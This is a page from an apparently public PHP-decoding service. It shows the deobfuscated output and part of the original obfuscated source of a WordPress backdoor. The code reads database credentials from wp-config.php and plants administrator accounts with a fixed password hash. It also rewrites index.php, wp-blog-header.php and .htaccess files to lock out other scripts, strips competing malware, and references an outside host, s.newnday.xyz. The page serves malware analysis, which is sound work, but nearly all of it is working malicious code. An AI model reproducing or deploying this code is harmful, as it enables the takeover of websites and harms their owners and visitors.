Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto T54Y6; THoot: function rl9_V($P0NbM) { goto t2DUE; qV22q: echo "\74\142\x72\76..

Decoded Output download

<?php 
goto T54Y6; THoot: function rl9_V($P0NbM) { goto t2DUE; qV22q: echo "<br>"; goto gOqA6; EIm9_: w59nr: goto qV22q; t2DUE: global $Evc1U; goto VBhQt; VBhQt: foreach ($P0NbM as $sy5qg => $fNR5r) { goto nsyzG; k3T43: echo "<br>"; goto FjZnm; FjZnm: YbacN: goto PAOkC; nsyzG: echo $fNR5r; goto k3T43; PAOkC: } goto EIm9_; gOqA6: } goto IeZqB; S90XT: V3c0O(); goto flDiw; wMbM7: ZPNrw($aI3JI, $xCUXx); goto m7Eu5; g1Dpd: echo "uu ch"; goto UDXQC; dBFtt: function qsac2($OwkPs, $NoUU3, $E6sUY) { goto zjfS2; ctUIJ: if (!($H4vOx["user_login"] == $OwkPs)) { goto fn5Jw; } goto j9Hj5; g3jZ0: $i4Jk8 = explode(":", $BoCSt); goto YQdA2; uiuYO: $tgHMG = $H4vOx["ID"]; goto ur3No; JoKbg: DwjB0: goto dBJhW; BL2T0: $Vbnqc = "update {$xvPZC}" . "users set user_pass='{$NoUU3}'"; goto nNznD; wPghw: $cZ5Yh[] = $H4vOx["meta_value"]; goto JRtS6; miIN2: preg_match("@['|"]DB_NAME['|"],\s*['|"](.*?)['|"]@", $ouSPH, $n0ww7); goto CJ5kI; HBTJX: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto BVZS1; RD5oV: $KugfQ = 0; goto Ss254; ZWTQH: $Us1Oh[] = $H4vOx["meta_key"]; goto wPghw; HpU95: $H4vOx = mysqli_fetch_array($gEZIT); goto tXNBz; d7lmG: $Vbnqc = "update {$xvPZC}" . "users set user_pass='{$NoUU3}' where user_login='{$OwkPs}';"; goto y28I_; dD_IL: $Vbnqc = "select * from " . $xvPZC . "usermeta where user_id=1 ;"; goto wdWwN; xnJjC: NR05_: goto CgFxV; DNdcX: $ouSPH = file_get_contents("wp-config.php"); goto miIN2; c5ceE: lo5kq: goto UYyyF; eR5HP: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto uZgLC; TCss8: fn5Jw: goto dD_IL; yh2el: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto xnJjC; uZgLC: $Vbnqc = "select ID from {$xvPZC}" . "users where user_login='{$OwkPs}';"; goto HBTJX; y28I_: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto C4jn0; mhoXa: $Vbnqc = "insert into " . $xvPZC . "usermeta(user_id, meta_key, meta_value) values(" . $tgHMG . ", '" . $Us1Oh[$KugfQ] . "', '" . $cZ5Yh[$KugfQ] . "');"; goto yh2el; sVSke: $PwrAG = mysqli_query($Eo_4P, $Vbnqc); goto FKPZB; v1r0x: $tgHMG = $H4vOx["ID"]; goto d7lmG; uEQQw: if (!($E6sUY == true)) { goto oQFSW; } goto BL2T0; kR5IV: $Vbnqc = "select * from {$xvPZC}" . "users where user_login='{$OwkPs}';"; goto hP0fg; N7gZE: if (!($KugfQ < count($Us1Oh))) { goto TAPkG; } goto bBsk1; HUo6c: goto GISpk; goto ixnrT; mgX2j: $Eo_4P = mysqli_connect($BoCSt, $cwxaD, $SNRAA, $yptwa, $NVx2X); goto uEQQw; ixnrT: ant0x: goto v1r0x; YQdA2: $BoCSt = $i4Jk8[0]; goto wamWa; D3p2a: GISpk: goto sn8vJ; H_1Lh: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto kR5IV; kZNks: goto Sgy23; goto QvZRo; jE8rt: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto HpU95; sluAX: z_Rrh: goto JkyZ2; CgFxV: aewXl: goto JoKbg; UcUG0: preg_match("@['|"]DB_HOST['|"],\s*['|"](.*?)['|"]@", $ouSPH, $xoszh); goto MdlMk; v7ykj: if (!(mysqli_num_rows($PwrAG) > 0)) { goto s05K2; } goto c5ceE; dBJhW: $KugfQ++; goto kZNks; j9Hj5: return "uua ok"; goto TCss8; hP0fg: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto zB19O; QvZRo: TAPkG: goto HUo6c; BySUo: preg_match("@['|"]DB_PASSWORD['|"],\s*['|"](.*?)['|"]@", $ouSPH, $HT8rB); goto UcUG0; FKPZB: if (!(mysqli_num_rows($PwrAG) <= 0)) { goto NR05_; } goto mhoXa; ur3No: $Vbnqc = "insert into {$xvPZC}" . "usermeta(user_id, meta_key, meta_value) values({$tgHMG}, '{$xvPZC}" . "capabilities', 'a:1:{s:13:"administrator";b:1;}');"; goto H_1Lh; WFVZ2: oQFSW: goto BHYqJ; nNznD: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto WFVZ2; JRtS6: goto lo5kq; goto sluAX; C4jn0: return "uu change "; goto D3p2a; JkyZ2: s05K2: goto RD5oV; iiqD3: $NVx2X = "3306"; goto uWhvL; uWhvL: if (!strstr($BoCSt, ":")) { goto k0LaC; } goto g3jZ0; VoIq4: $BoCSt = "localhost"; goto y3y6A; gcdKt: $Vbnqc = "select * from " . $xvPZC . "usermeta  where user_id=" . $tgHMG . " and meta_key='" . $Us1Oh[$KugfQ] . "';"; goto sVSke; zjfS2: global $Evc1U, $BR7uj, $RbeTK; goto DNdcX; DRU0o: $yptwa = $n0ww7[1]; goto WsbBe; y3y6A: HYt0D: goto mgX2j; dPVGE: $BoCSt = $xoszh[1]; goto CnNjm; JB8ox: $Vbnqc = "insert into {$xvPZC}" . "users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('{$OwkPs}', '{$NoUU3}', '{$OwkPs}', '{$OwkPs}@gmail.com', '2021-05-21 09:13:26', '', '0', '{$OwkPs}');"; goto eR5HP; MdlMk: preg_match("@table_prefix\s*=\s*['|"](.*?)['|"]@", $ouSPH, $SNdf0); goto DRU0o; tP4h_: if (!(trim($BoCSt) == '')) { goto HYt0D; } goto VoIq4; BVZS1: $H4vOx = mysqli_fetch_array($gEZIT); goto uiuYO; Ss254: Sgy23: goto N7gZE; bBsk1: if (!($Us1Oh[$KugfQ] != '')) { goto aewXl; } goto gcdKt; sn8vJ: return "uua fail"; goto ImArK; wamWa: $NVx2X = $i4Jk8[1]; goto Ry0QX; Ry0QX: k0LaC: goto tP4h_; UYyyF: if (!($H4vOx = mysqli_fetch_array($PwrAG))) { goto z_Rrh; } goto ZWTQH; RdM13: $SNRAA = $HT8rB[1]; goto dPVGE; zB19O: $H4vOx = mysqli_fetch_array($gEZIT); goto ctUIJ; WsbBe: $cwxaD = $vlzmk[1]; goto RdM13; CJ5kI: preg_match("@['|"]DB_USER['|"],\s*['|"](.*?)['|"]@", $ouSPH, $vlzmk); goto BySUo; BHYqJ: $Vbnqc = "select * from {$xvPZC}" . "users where user_login='{$OwkPs}';"; goto jE8rt; tXNBz: if (!empty($H4vOx)) { goto ant0x; } goto JB8ox; wdWwN: $PwrAG = mysqli_query($Eo_4P, $Vbnqc); goto v7ykj; CnNjm: $xvPZC = $SNdf0[1]; goto iiqD3; ImArK: } goto L_8Eo; fEs6f: $xvBwd = $_GET["dir"]; goto hnqc8; u_73U: if (isset($_GET["dir"])) { goto Jmfx3; } goto t0MZg; HieGb: $pfqHK = woxEr($xvBwd); goto tfxgB; MFvz_: $JypiI = $JypiI . "/"; goto vTDTV; Gi0fg: bGdXH(); goto jLvvD; t0MZg: $xvBwd = $Evc1U; goto P64t2; DAEJY: $pEAqo = str_replace("\", "/", $Lg34Q); goto Ktri1; y3ZJX: @chdir($Evc1U); goto wMU0F; M0ko5: $xCUXx = "html"; goto g1Dpd; ECzAw: echo $pfqHK; goto Jk_Ty; TmKdV: if (is_dir("wp-includes") && is_dir("wp-admin")) { goto pcED8; } goto S90XT; IssOY: function vBNfj() { goto TVWnY; o5sKg: D_q0F: goto Ouy6N; IwCsl: $GkPrG = filectime("wp-blog-header.php"); goto yCsVE; p9Oov: $hb7ZK = $Evc1U . "/wp-includes/"; goto i6vG4; g5_ub: $E_XtO = array("blocks.php" => "function register_block_style_handle", "theme.php" => "function validate_current_theme", "template.php" => "function get_archive_template", "rewrite.php" => "function url_to_postid", "admin-bar.php" => "function wp_admin_bar_my_account_menu", "rest-api.php" => "function register_rest_field", "media.php" => "function image_downsize", "nav-menu.php" => "function is_nav_menu_item", "theme-templates.php" => "function wp_enable_block_templates", "block-template.php" => "function _strip_template_file_suffix", "blocks/archives.php" => "function render_block_core_archives", "category.php" => "function get_cat_name", "load.php" => "function is_wp_error", "plugin.php" => "function do_action_ref_array", "query.php" => "function is_front_page", "cron.php" => "function wp_schedule_event"); goto p9Oov; bWQEf: $P0NbM[] = "cron " . bdeIh("wp-includes/cron.php", "i = 'inde'.'x.php';", "function wp_get_schedules() {"); goto EQmaM; yCsVE: file_put_contents("wp-blog-header.php", $k5RY4); goto cs12S; TVWnY: global $Evc1U; goto uNUDk; FkIex: $P0NbM = array(); goto gjmUQ; gjmUQ: $P0NbM[] = "===== start crack auto restore file ====="; goto g5_ub; krl7V: qvEDA: goto Ctpxx; EQmaM: return $P0NbM; goto N4KGN; Ctpxx: $P0NbM[] = "===== end crack auto restore file ====="; goto tr43U; Ouy6N: foreach ($E_XtO as $JN7ya => $JTRXG) { goto UmNDa; aINuu: if (!preg_match("/\/\/c_start[\s\S]*?\/\/c_end/", $Azeee)) { goto ySk6l; } goto mNhru; Ke8lY: $QisN2[] = "crack restore: " . $w77ol . " " . ($UEIme ? "success" : "fail"); goto frrlk; UmNDa: $w77ol = $hb7ZK . $JN7ya; goto PPF45; PdzVJ: $UEIme = @file_put_contents($w77ol, $E3i88); goto Ke8lY; frrlk: ySk6l: goto m1uST; mNhru: $E3i88 = preg_replace("/\/\/c_start[\s\S]*?\/\/c_end/", '', $Azeee); goto PdzVJ; h0smW: $Azeee = file_get_contents($w77ol); goto aINuu; Bgmcm: aMoBh: goto h0smW; m1uST: wudOP: goto Q1RN0; PPF45: if (file_exists($w77ol)) { goto aMoBh; } goto S3Z7b; S3Z7b: goto wudOP; goto Bgmcm; Q1RN0: } goto krl7V; uNUDk: $k5RY4 = "<?php if ( ! isset( $wp_did_header ) ) {
\xa
\x9$wp_did_header = true;\xd
\xd\xa	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';\xd
\xd\xa\x9// Set up the WordPress query.\xd
	wp();\xd\xa
\x9// Load the theme template.
\x9require_once ABSPATH . WPINC . '/template-loader.php';

}"; goto IwCsl; tr43U: $P0NbM[] = "pluggable " . BDeih("wp-includes/pluggable.php", "i = 'inde'.'x.php';", "if ( ! function_exists( 'wp_set_auth_cookie'"); goto bWQEf; i6vG4: foreach ($E_XtO as $JN7ya => $JTRXG) { goto nrPUt; VpKYn: $E3i88 = preg_replace("/\/\/ cyborg_start[\s\S]*?\/\/ cyborg_end/", '', $Azeee); goto ItHAy; fMrvM: $Azeee = @file_get_contents($w77ol); goto Eih0e; JAPRw: if (file_exists($w77ol)) { goto byym3; } goto BlFxM; nrPUt: $w77ol = $hb7ZK . $JN7ya; goto JAPRw; EOHra: $P0NbM[] = "delete hidden code: " . $w77ol; goto dBhv7; ItHAy: file_put_contents($w77ol, $E3i88); goto EOHra; BlFxM: goto PFrQz; goto CMgL0; dBhv7: audxo: goto t0Vob; t0Vob: PFrQz: goto KLp7F; Eih0e: if (!preg_match("/\/\/ cyborg_start[\s\S]*?\/\/ cyborg_end/", $Azeee)) { goto audxo; } goto VpKYn; CMgL0: byym3: goto fMrvM; KLp7F: } goto o5sKg; cs12S: touch("wp-blog-header.php", $GkPrG); goto FkIex; N4KGN: } goto LdBgT; zlFM3: $JypiI = trim($JypiI); goto GIqju; vTDTV: zsnYX: goto y3ZJX; UDXQC: if (!(isset($_GET["u"]) && $_GET["u"] == "1")) { goto X6Z4k; } goto mR0X2; dAvOp: if (!(isset($_GET["h"]) && $_GET["h"] == "clearh")) { goto FA1AH; } goto HieGb; mR0X2: $fHQ1T = iUGNM(); goto eHMHX; Exsa1: if (!file_exists($Evc1U . "/index.php")) { goto Q451F; } goto QxnTb; P64t2: goto smclX; goto VfahC; QxnTb: chmod($Evc1U . "/index.php", 0644); goto D1UAe; Jk_Ty: t6ZZx: goto kWyoJ; GIqju: $Evc1U = $_SERVER["DOCUMENT_ROOT"] . $JypiI; goto sR_Io; aqkrI: $aI3JI = rCEvV(); goto wMbM7; YNUpg: pcED8: goto xGDAs; D1UAe: file_put_contents($Evc1U . "/index.php", $QR5iV); goto G8ueM; KzIuc: file_put_contents($Evc1U . "/index.php", $QR5iV); goto CsR7n; TwKFj: if (is_dir("wp-includes") && is_dir("wp-admin")) { goto S_26T; } goto d0gq5; Rqvjc: S_26T: goto Gi0fg; flDiw: goto uoGhq; goto YNUpg; l43gL: $QR5iV = "<?php\xd\xa/**\xd\xa * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
\xa * @package WordPress\xd\xa */\xd
\xd
/**\xd\xa * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
\xadefine( 'WP_USE_THEMES', true );\xd
\xd
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );"; goto V5W7B; IDo_e: $Lg34Q = __DIR__; goto DAEJY; d0gq5: V3c0O(); goto nt6Pi; m7Eu5: p_W39: goto k3s5v; HRbve: X6Z4k: goto emH4_; jLvvD: if (!file_exists($Evc1U . "/index.php")) { goto mDBUy; } goto WuAWW; WuAWW: chmod($Evc1U . "/index.php", 0644); goto KzIuc; sR_Io: if (!(trim($JypiI) != '')) { goto zsnYX; } goto MFvz_; xGDAs: bgdxH(); goto Exsa1; AhOQm: vG9AJ: goto dAvOp; w65kQ: error_reporting(E_ALL); goto yOgb1; eA27m: function BgDXh() { goto DSONk; E0Ox5: lyQuC: goto ebnZv; nM2w8: $P0NbM = vbNfJ(); goto lZZcz; BbmeQ: $P0NbM = V3c0o(); goto XoGSY; ebnZv: $UjXsp = $_GET["cycle"]; goto oeSte; SpymV: goto efq6h; goto E0Ox5; yNBIH: $uvt9B = ''; goto gCBUp; zXKev: rL9_v($P0NbM); goto i066u; ul_Pd: l3hAR: goto yeA9S; UTgc9: $P0NbM = vbNFj(); goto vW5W0; W5IaW: VSIH1: goto U0zPH; XoGSY: RL9_V($P0NbM); goto W5IaW; H3jcO: zKuJV: goto h7Vt3; yeA9S: $uvt9B = $_GET["file"]; goto oURrH; y24n1: if (!$uvt9B && !$UjXsp) { goto eNsdr; } goto G9Hgu; i066u: gopPL: goto J3YVE; oURrH: u1ISN: goto IkNsd; G9Hgu: if (!$uvt9B) { goto zKuJV; } goto UTgc9; gCBUp: goto u1ISN; goto ul_Pd; vW5W0: rL9_V($P0NbM); goto H3jcO; J3YVE: goto VSIH1; goto ohaS6; oeSte: efq6h: goto y24n1; Gk2Vg: $P0NbM = V3c0O(); goto zXKev; ohaS6: eNsdr: goto nM2w8; IkNsd: if (isset($_GET["cycle"])) { goto lyQuC; } goto z30lB; DSONk: global $Evc1U; goto VAOJw; lZZcz: rl9_V($P0NbM); goto BbmeQ; z30lB: $UjXsp = ''; goto SpymV; VAOJw: if (isset($_GET["file"])) { goto l3hAR; } goto yNBIH; h7Vt3: if (!$UjXsp) { goto gopPL; } goto Gk2Vg; U0zPH: } goto m7GIQ; NR5LK: function iuGNm() { goto MjnzD; JERIx: if (!file_exists($Evc1U . "/wp-config.php")) { goto UC3oB; } goto rdy43; MjnzD: global $Evc1U; goto zTNvD; zTNvD: $kg0Jo = array(); goto SDH7D; fVb6u: $kg0Jo["message"][] = qsac2("wp-user", "13c857469dfc81ccadd9888c03b88041", false); goto CvtEc; SDH7D: $kg0Jo["title"] = __FUNCTION__; goto JERIx; Xs4kg: return $kg0Jo; goto P1HBY; rdy43: $kg0Jo["message"][] = Qsac2("wp-blog", "13c857469dfc81ccadd9888c03b88041", true); goto fVb6u; CvtEc: UC3oB: goto Xs4kg; P1HBY: } goto lcfBh; G8ueM: Q451F: goto OKcpD; h70oB: ceS7Y: goto u_73U; hnqc8: smclX: goto l43gL; Nmafn: yNySJ: goto lARHw; VfahC: Jmfx3: goto fEs6f; LdBgT: function v3c0o() { goto FPceM; VzFb7: @touch($PPTPl); goto BdNDY; LH4ou: return $P0NbM; goto LuehX; yV79_: $P0NbM = array(); goto zHOTe; zHOTe: $P0NbM[] = "===== start crack auto restore cycle ====="; goto SFSJP; FPceM: global $Evc1U; goto yV79_; ohYxQ: $P0NbM[] = "===== end crack auto restore cycle ====="; goto LH4ou; BdNDY: $P0NbM[] = "make file: " . $PPTPl; goto ohYxQ; SFSJP: $PPTPl = $Evc1U . "/3FNDICU2KH"; goto VzFb7; LuehX: } goto eA27m; OKcpD: uoGhq: goto AhOQm; nt6Pi: goto yNySJ; goto Rqvjc; tfxgB: echo $pfqHK; goto QD55Q; IeZqB: function bDeiH($K0292, $YHeTZ, $SDR5a) { goto K0LYD; UngrU: $UgrLj = file_get_contents($K0292); goto VbKhu; VbKhu: $G7QVK = strpos($UgrLj, $YHeTZ); goto ASTz0; pe2tl: $DHDP6 = strpos($UgrLj, $SDR5a); goto OQzwX; V0UVv: lP1Jl: goto XZEus; wDDOG: Yj252: goto kKRKz; tTxqt: return $WnsJ3; goto K6vZG; ASTz0: if ($G7QVK !== false) { goto Yj252; } goto QnTWP; eZ9sI: if (!file_exists($K0292)) { goto BZwKU; } goto UngrU; MzQTT: goto lP1Jl; goto wDDOG; QnTWP: $WnsJ3 = "cron no code"; goto MzQTT; UZbTu: $WnsJ3 = "clear cron code"; goto V0UVv; XZEus: BZwKU: goto tTxqt; nncdd: $WnsJ3 = "cron no code"; goto eZ9sI; K0LYD: global $Evc1U; goto nncdd; kKRKz: $QyMG8 = substr($UgrLj, 0, $G7QVK - 1); goto pe2tl; OQzwX: $dwI9q = substr($UgrLj, $DHDP6); goto tIGSh; tIGSh: file_put_contents($K0292, $QyMG8 . $dwI9q); goto UZbTu; K6vZG: } goto IssOY; yOgb1: function ZPnRw($PwrAG, $xCUXx = "html", $Og1Xx = "li") { goto pc91y; sP6PO: if (isset($PwrAG["status"]) && !empty($PwrAG["status"])) { goto lYnUW; } goto pie3H; h90E6: if (isset($PwrAG["title"])) { goto KVqtE; } goto MmTIs; MmTIs: $PwrAG["title"] = ''; goto qNvRK; KOrg2: c__Sf: goto DS1z1; Ia7A5: if (!(sizeof($PwrAG["message"]) > 0)) { goto LQnp5; } goto YYUyz; CM8cS: $upMLr = "<font color="green">" . $PwrAG["status"] . "</font>"; goto jIqRi; pc91y: global $Evc1U; goto oBNSx; GEnZo: if (!($PwrAG["status"] == "ok")) { goto aCYUE; } goto CM8cS; ljt9T: LQnp5: goto sP6PO; pie3H: $upMLr = "<font color="green">ok</font>"; goto yNAqo; c2xWi: echo "<br />"; goto kiTo8; KYEy0: if (!($PwrAG["status"] == "fail")) { goto yqqXk; } goto RFzx3; sjWrN: PeHuD: goto ljt9T; RFzx3: $upMLr = "<font color="red">" . $PwrAG["status"] . "</font>"; goto rAqKf; CNqwz: echo "---------end " . $PwrAG["title"] . "===>status:" . $upMLr; goto WO7xn; qNvRK: KVqtE: goto Ia7A5; oBNSx: if (!($xCUXx != "html")) { goto c__Sf; } goto sT7dm; DS1z1: if (is_array($PwrAG)) { goto hmoZq; } goto HmNix; HmNix: return; goto KeO9h; WO7xn: gHv6k: goto c2xWi; YYUyz: foreach ($PwrAG["message"] as $Dsmvj) { goto Pbd5G; sb35U: Mh4vm: goto Qechl; b4CBI: echo "<{$Og1Xx}>" . $Dsmvj . "</{$Og1Xx}>"; goto sb35U; V_9YT: $Dsmvj = str_replace("fail", "<font color="red">fail</font>", $Dsmvj); goto b4CBI; Pbd5G: $Dsmvj = str_replace("success", "<font color="blue">success</font>", $Dsmvj); goto MKiPU; MKiPU: $Dsmvj = str_replace(" ok", "<font color="blue"> ok</font>", $Dsmvj); goto V_9YT; Qechl: } goto sjWrN; rAqKf: yqqXk: goto CNqwz; yNAqo: goto gHv6k; goto l0Ip4; xiyqL: return; goto KOrg2; sT7dm: echo json_encode($PwrAG); goto xiyqL; KeO9h: hmoZq: goto h90E6; l0Ip4: lYnUW: goto GEnZo; kiTo8: echo "<br />"; goto iKuiK; jIqRi: aCYUE: goto KYEy0; iKuiK: } goto dBFtt; m7GIQ: $ucssM = "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"; goto x_xyq; kWyoJ: if (!(isset($_GET["h"]) && $_GET["h"] == "clear")) { goto vG9AJ; } goto TmKdV; x_xyq: $qiwhR = "http://s.newnday.xyz/"; goto IDo_e; T54Y6: header("Access-Control-Allow-Origin:*"); goto w65kQ; k3s5v: if (!(isset($_GET["h"]) && $_GET["h"] == "2")) { goto ceS7Y; } goto F0G5V; lcfBh: function woxER($xvBwd) { goto uyaKk; uT3JA: if (!($nYSyj = opendir($xvBwd))) { goto I3mF5; } goto sMK_Q; rEmjG: closedir($nYSyj); goto ODUhQ; b2pjN: nNDdH: goto sXMnA; q3uI3: goto yVsaf; goto hiI12; dSFgX: $LzR5U = $xvBwd . "/" . $K0292; goto xVNxn; elXS_: if ($pwmEQ) { goto bq7jR; } goto QIa1D; ODUhQ: I3mF5: goto bJrOs; xizrf: if (!(($K0292 = readdir($nYSyj)) !== false)) { goto QTns9; } goto AxA4Z; q9sOD: QTns9: goto rEmjG; SYtHh: $pwmEQ = file_put_contents($Evc1U . "/.htaccess", $p2Kq7); goto elXS_; cFfih: RBa3H: goto PoqYp; P2KQn: if (!is_dir($xvBwd . "/" . $K0292)) { goto RBa3H; } goto dSFgX; xVNxn: if (!file_exists($LzR5U . "/.htaccess")) { goto nNDdH; } goto vEmcH; ct83A: return "suc"; goto gvud3; PoqYp: axOOp: goto Gd8Jl; uaCF7: unlink($LzR5U . "/.htaccess"); goto b2pjN; sXMnA: woXEr($LzR5U); goto Y65PY; gvud3: yVsaf: goto GKopN; Gd8Jl: RoZ_3: goto t06IA; AxA4Z: if (!($K0292 != "." && $K0292 != "..")) { goto RoZ_3; } goto P2KQn; vEmcH: chmod($LzR5U . "/.htaccess", 0644); goto uaCF7; t06IA: goto Vfv6M; goto q9sOD; IOnwI: chmod($Evc1U . "/.htaccess", 0644); goto SYtHh; bJrOs: $p2Kq7 = "<IfModule mod_rewrite.c>\xd
\x9RewriteEngine On
\x9RewriteBase /
\xa\x9RewriteRule ^index.php$ - [L]\xd\xa	RewriteCond %{REQUEST_FILENAME} !-f
\xa	RewriteCond %{REQUEST_FILENAME} !-d\xd\xa	RewriteRule . index.php [L]
\x9</IfModule>"; goto IOnwI; Y65PY: goto axOOp; goto cFfih; hiI12: bq7jR: goto ct83A; uyaKk: global $Evc1U; goto uT3JA; QIa1D: return "fa"; goto q3uI3; sMK_Q: Vfv6M: goto xizrf; GKopN: } goto THoot; V5W7B: if (!(isset($_GET["h"]) && $_GET["h"] == "0")) { goto t6ZZx; } goto TwKFj; CsR7n: mDBUy: goto Nmafn; eHMHX: ZPnrW($fHQ1T, $xCUXx); goto HRbve; F0G5V: $ZpjoR = Lm18R(); goto EgqBK; emH4_: if (!(isset($_GET["h"]) && $_GET["h"] == "1")) { goto p_W39; } goto aqkrI; lARHw: $pfqHK = WoxEr($xvBwd); goto ECzAw; mH0wO: $RbeTK = $_SERVER["HTTP_HOST"]; goto M0ko5; L_8Eo: function rcevV() { goto Uco2v; Uco2v: global $Evc1U; goto bNyDo; RjjAS: eEpn_: goto IeVFf; A71de: $p2Kq7 = "<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">
\xaOrder Allow,Deny
Deny from all\xd\xa</FilesMatch>\xd
<FilesMatch "^(.*)(.php)$">
Order Allow,Deny\xd
Allow from all
</FilesMatch>"; goto I5ctx; YU2sX: $kg0Jo["title"] = __FUNCTION__; goto A71de; vq1gS: $zPkvj["message"][] = "h jie"; goto kNvty; ND6sY: if (!file_exists($siy_b)) { goto g_Gxx; } goto L59ua; rQo8K: if (!$pwmEQ) { goto eEpn_; } goto vq1gS; JJaY3: return $zPkvj; goto wOO0Q; RlbZa: g_Gxx: goto Zt5a5; kNvty: goto lQ_Wb; goto RjjAS; I5ctx: $siy_b = $Evc1U . "/wp-admin/.htaccess"; goto ND6sY; bNyDo: $kg0Jo = array(); goto YU2sX; IeVFf: $zPkvj["message"][] = "h fa"; goto gbJzc; L59ua: $eyoAH = @chmod($siy_b, 0644); goto RlbZa; Zt5a5: $pwmEQ = file_put_contents($siy_b, $p2Kq7); goto rQo8K; gbJzc: lQ_Wb: goto JJaY3; wOO0Q: } goto Ajsub; EgqBK: ZPNrw($ZpjoR, $xCUXx); goto h70oB; Ajsub: function LM18r() { goto lef_s; hn3i5: $zPkvj["message"][] = "h fa"; goto Tzv1b; TEdHL: $p2Kq7 = "<IfModule mod_rewrite.c>\xd\xaRewriteEngine On
RewriteBase /\xd\xaRewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d\xd
RewriteRule . index.php [L]
</IfModule>\xd\xa<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">
\xaOrder Allow,Deny
Deny from all
</FilesMatch>\xd
<FilesMatch "^(index.php|wp-login.php|options-general.php|upgrade.php|admin.php|profile.php|load-styles.php|load-scripts.php|checkbox.php|update.php|plugins.php)$">
\xaOrder Allow,Deny
\xaAllow from all
\xa</FilesMatch>"; goto ZdgQc; KPGoz: if (!file_exists($siy_b)) { goto F0KMd; } goto NT1De; altZg: $kg0Jo = array(); goto pnjDh; Wd6l5: return $zPkvj; goto cixAm; Pz1IM: jVZEI: goto hn3i5; NT1De: $eyoAH = @chmod($siy_b, 0644); goto pKf1S; yyzUB: $zPkvj["message"][] = "h suo"; goto NOUkp; pnjDh: $kg0Jo["title"] = __FUNCTION__; goto TEdHL; jLj60: if (!$pwmEQ) { goto jVZEI; } goto yyzUB; o4PvK: $pwmEQ = file_put_contents($siy_b, $p2Kq7); goto jLj60; lef_s: global $Evc1U; goto altZg; NOUkp: goto YWKTW; goto Pz1IM; Tzv1b: YWKTW: goto Wd6l5; ZdgQc: $siy_b = $Evc1U . "/wp-admin/.htaccess"; goto KPGoz; pKf1S: F0KMd: goto o4PvK; cixAm: } goto NR5LK; Ktri1: $JypiI = str_replace($_SERVER["DOCUMENT_ROOT"], '', $pEAqo); goto zlFM3; wMU0F: $BR7uj = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto mH0wO; QD55Q: FA1AH: ?>

Did this file decode correctly?

Original Code

<?php
goto T54Y6; THoot: function rl9_V($P0NbM) { goto t2DUE; qV22q: echo "\74\142\x72\76"; goto gOqA6; EIm9_: w59nr: goto qV22q; t2DUE: global $Evc1U; goto VBhQt; VBhQt: foreach ($P0NbM as $sy5qg => $fNR5r) { goto nsyzG; k3T43: echo "\x3c\142\162\76"; goto FjZnm; FjZnm: YbacN: goto PAOkC; nsyzG: echo $fNR5r; goto k3T43; PAOkC: } goto EIm9_; gOqA6: } goto IeZqB; S90XT: V3c0O(); goto flDiw; wMbM7: ZPNrw($aI3JI, $xCUXx); goto m7Eu5; g1Dpd: echo "\165\165\x20\x63\150"; goto UDXQC; dBFtt: function qsac2($OwkPs, $NoUU3, $E6sUY) { goto zjfS2; ctUIJ: if (!($H4vOx["\x75\163\145\162\137\x6c\157\x67\151\156"] == $OwkPs)) { goto fn5Jw; } goto j9Hj5; g3jZ0: $i4Jk8 = explode("\x3a", $BoCSt); goto YQdA2; uiuYO: $tgHMG = $H4vOx["\x49\104"]; goto ur3No; JoKbg: DwjB0: goto dBJhW; BL2T0: $Vbnqc = "\165\x70\x64\141\x74\x65\40{$xvPZC}" . "\165\163\145\x72\163\40\x73\x65\164\40\165\x73\145\162\137\x70\141\x73\x73\x3d\x27{$NoUU3}\47"; goto nNznD; wPghw: $cZ5Yh[] = $H4vOx["\155\145\164\x61\137\x76\141\154\x75\145"]; goto JRtS6; miIN2: preg_match("\100\x5b\47\x7c\x22\135\104\x42\137\116\101\x4d\x45\x5b\x27\x7c\x22\135\54\x5c\163\52\x5b\47\174\42\135\50\x2e\x2a\77\x29\133\47\x7c\x22\135\x40", $ouSPH, $n0ww7); goto CJ5kI; HBTJX: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto BVZS1; RD5oV: $KugfQ = 0; goto Ss254; ZWTQH: $Us1Oh[] = $H4vOx["\x6d\x65\164\x61\x5f\x6b\x65\171"]; goto wPghw; HpU95: $H4vOx = mysqli_fetch_array($gEZIT); goto tXNBz; d7lmG: $Vbnqc = "\165\160\144\x61\164\x65\x20{$xvPZC}" . "\x75\x73\145\162\x73\x20\x73\x65\164\40\165\x73\145\162\x5f\x70\x61\x73\163\x3d\47{$NoUU3}\47\x20\167\x68\x65\162\x65\x20\165\163\x65\162\x5f\154\157\x67\x69\x6e\x3d\x27{$OwkPs}\47\x3b"; goto y28I_; dD_IL: $Vbnqc = "\163\x65\154\x65\143\x74\40\x2a\40\x66\x72\157\155\x20" . $xvPZC . "\165\x73\x65\162\155\145\x74\x61\x20\167\x68\x65\x72\x65\40\165\163\x65\x72\x5f\x69\144\75\x31\x20\x3b"; goto wdWwN; xnJjC: NR05_: goto CgFxV; DNdcX: $ouSPH = file_get_contents("\167\160\x2d\143\157\156\146\151\147\x2e\x70\150\160"); goto miIN2; c5ceE: lo5kq: goto UYyyF; eR5HP: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto uZgLC; TCss8: fn5Jw: goto 